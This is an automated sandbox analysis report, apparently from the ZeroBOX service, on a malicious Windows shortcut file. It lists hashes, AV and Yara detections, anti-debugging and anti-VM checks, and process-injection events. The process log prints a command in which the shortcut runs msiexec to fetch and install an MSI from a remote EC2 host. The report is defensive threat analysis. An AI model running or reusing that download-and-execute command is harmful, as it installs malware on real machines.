Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

latestReport
11.18 09:11
Jagtfalkenes.vbs
11.18 09:11
windows_update.dll
11.18 09:11
nicko.exe
11.18 09:11
GHO%E9%95%9C%E5%83%8F%...
11.18 09:11
stories.exe
11.17 10:11
wwbizsrvs.exe
11.15 01:11
wwbizsrvs.exe
11.15 01:11
op.exe
11.15 01:11
msf.exe
11.15 01:11
lum250.exe

Latest News
11.18 09:11
[AIS 2024 영상] 윤두식 이로운앤...
11.18 09:11
Samsung Jumps as Surpr...
11.18 09:11
한국장학진흥원, 반려동물장례지도사 자격증...
11.18 09:11
키르시 블렌딩 X 마인드어데이, 콜라보레...
11.18 09:11
글로벌 포장 용기 제조기업 수창티피에스,...
11.18 09:11
Hackaday Links: Novemb...
11.18 09:11
Nvidia Faces New Chip ...
11.18 09:11
아이케미스트, '2024 창업 경진대회'...
11.18 09:11
[AIS 2024 영상] 정일옥 이글루코...
11.18 09:11
[AIS 2024 영상] 이승훈 퓨쳐시스...

Summary | ZeroBOX

BoIeto 0410.lnk.lnk

Generic Malware Escalate priviledges Create Service GIF Format AntiDebug AntiVM

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 5, 2021, 4:42 p.m.	Oct. 5, 2021, 4:44 p.m.

Size	2.0KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Sat Dec 7 00:09:44 2019, mtime=Tue Jul 27 13:35:30 2021, atime=Sat Dec 7 00:09:44 2019, length=69632, window=hide
MD5	`ac210a9b84df20647ba433e9a1469725`
SHA256	`776134c134534d0dc096adc95eff7bf3e9f0a029436dd3e7e50438defe647762`
CRC32	`DE65B06C`
ssdeep	`24:8+JUHRlVo5kcbA+PzJYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYwf+/P+7x41cV3Z/:8+uH+M+LxA11cIXv3KaIqiHkb6NS6`
Yara	Generic_Malware_Zero - Generic Malware Lnk_Format_Zero - LNK Format

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "YcwWXyVywBL" "C:\Users\test22\AppData\Local\Temp\BoIeto 0410.lnk.lnk"
1428
- msiexec.exe "C:\Windows\System32\msiexec.exe" /i "http://ec2-54-202-55-124.us-west-2.compute.amazonaws.com/xmInstall.msi"
  2524

Name	Response	Post-Analysis Lookup
ec2-54-202-55-124.us-west-2.compute.amazonaws.com	A 54.202.55.124	54.202.55.124

IP Address	Status	Action
164.124.101.2	Active	Moloch
54.202.55.124	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 5, 2021, 4:42 p.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 5, 2021, 4:42 p.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET http://ec2-54-202-55-124.us-west-2.compute.amazonaws.com/xmInstall.msi

Allocates read-write-execute memory (usually to unpack itself) (19 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74001000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73051000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fa1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73052000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x730d1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x730d3000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e81000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72da1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73391000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d81000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d21000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72cd1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76b61000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x77ab1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73661000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72cc1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c81000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c41000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 5, 2021, 4:42 p.m.	process_identifier: 2524 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72bb1000 process_handle: 0xffffffff	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\BoIeto 0410.lnk.lnk

File has been identified by 2 AntiVirus engines on VirusTotal as malicious (2 events)

ESET-NOD32	LNK/TrojanDownloader.Agent.AIY
Kaspersky	Trojan.Multi.GenAutorunLnkFile.a

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 5, 2021, 4:42 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 5, 2021, 4:42 p.m.	system_name: privilege_name: SeShutdownPrivilege	1	1	0

Yara rule detected in process memory (11 events)

description	Create a windows service				rule	Create_Service
description	Escalate priviledges				rule	Escalate_priviledges
description	(no description)				rule	DebuggerCheck__GlobalFlags
description	(no description)				rule	DebuggerCheck__QueryInfo
description	(no description)				rule	DebuggerHiding__Thread
description	(no description)				rule	DebuggerHiding__Active
description	(no description)				rule	DebuggerException__SetConsoleCtrl
description	(no description)				rule	ThreadControl__Context
description	(no description)				rule	SEH__vectored
description	Checks if being debugged				rule	anti_dbg
description	Bypass DEP				rule	disable_dep

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1428 resumed a thread in remote process 2524
NtResumeThread Oct. 5, 2021, 4:42 p.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2524	1	0	0